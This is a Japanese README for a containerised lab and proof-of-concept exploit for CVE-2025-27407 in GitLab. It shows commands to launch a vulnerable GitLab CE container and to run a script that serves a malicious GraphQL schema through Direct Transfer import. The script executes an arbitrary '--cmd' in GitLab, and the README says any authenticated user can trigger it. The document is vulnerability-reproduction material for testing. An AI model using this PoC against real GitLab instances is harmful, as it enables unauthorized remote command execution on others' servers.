
CVE-2025-27407 のローカルラボおよび概念実証エクスプロイト。GitLab の GraphQL イントロスペクションスキーマローダーを Direct Transfer HTTP パス経由で標的とします。コンテナ化された環境と自動トリガースクリプトを含みます。
GitLab Direct Transfer HTTP パスが脆弱な graphql-ruby イントロスペクションスキーマローダーに到達することを実証するための、最小限のローカル専用ラボです。このラボは1つの脆弱な GitLab CE コンテナを実行します。PoC スクリプトはテスト中のみ、その偽の GitLab ソースサーバーをインプロセスで起動します。
自分が所有するシステム、または明示的にテスト許可を得たシステムに対してのみ実行してください。
| ファイル | 目的 |
|---|---|
lab.sh | GitLab ラボの起動、待機、検証、クリーンアップを行います。 |
poc_host_port_cmd.py | ワンショット PoC: 偽のソースサーバー + GitLab ログイン/設定/インポートトリガー。 |
podman がインストールされた Linux ホストcurlデフォルト値:
ポート 8080 がスクリプトのデフォルトです。他の何かが既に使用している場合は、ここに示すように 18080 を使用します。
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
GitLab を開く:
http://127.0.0.1:18080
ログイン認証情報:
root / Cve27407Password!
root はデフォルトのラボユーザーのみです。PoC トリガーは管理者アカウントを必要としません。宛先名前空間を作成/インポートできる認証済みユーザーであれば、脆弱な Direct Transfer パスにアクセスできます。--username と --password を使用して、管理者以外のユーザーでテストしてください。
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
期待されるシグナル:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
8080 がビジーの場合、./lab.sh up で GITLAB_HTTP_PORT=18080 を使用してください。--listen-port を未使用のポートに変更してください。--wait-seconds を増やすか、MARKER="$MARKER" ./lab.sh verify を再実行してください。GITLAB_HTTP_PORT=18080 ./lab.sh wait を再実行してください。./lab.sh cleanup を実行してから再開してください。./lab.sh cleanup
これにより、GitLab コンテナ、以前のラボバージョンから残った偽ソースコンテナ、およびラボネットワークが削除されます。ダウンロードされた Podman イメージは削除されません。
| 項目 | デフォルト |
|---|
| GitLab イメージ | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| GitLab コンテナ | cve-27407-gitlab |
| Podman ネットワーク | cve-2025-27407-net |
| GitLab root ユーザー | root |
| GitLab root パスワード | Cve27407Password! |
| マーカー | /tmp/cve_2025_27407_gitlab_marker |
| オプション | 目的 | デフォルト |
|---|
--host | 対象の GitLab ホスト | 必須 |
--port | 対象の GitLab HTTP ポート | 必須 |
--cmd | GitLab ランタイムで実行するコマンド | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | ローカルの偽ソースサーバーポート | 8001 |
--wait-seconds | 非同期 GitLab ワーカーのために偽ソースを維持する時間 | 90 |
--username | GitLab ユーザー名 | root |
--password | GitLab パスワード | Cve27407Password! |
| 変数 | 目的 | デフォルト |
|---|
GITLAB_HTTP_PORT | ホスト/コンテナの GitLab HTTP ポート | 8080 |
GITLAB_SSH_PORT | ホストの GitLab SSH ポート | 2224 |
GITLAB_ROOT_PASSWORD | 初期 root パスワード | Cve27407Password! |
GITLAB_IMAGE | 実行する GitLab イメージ | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Podman ネットワーク名 | cve-2025-27407-net |
MARKER | GitLab コンテナ内で確認するファイル | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | 準備完了待機のタイムアウト | 1200 |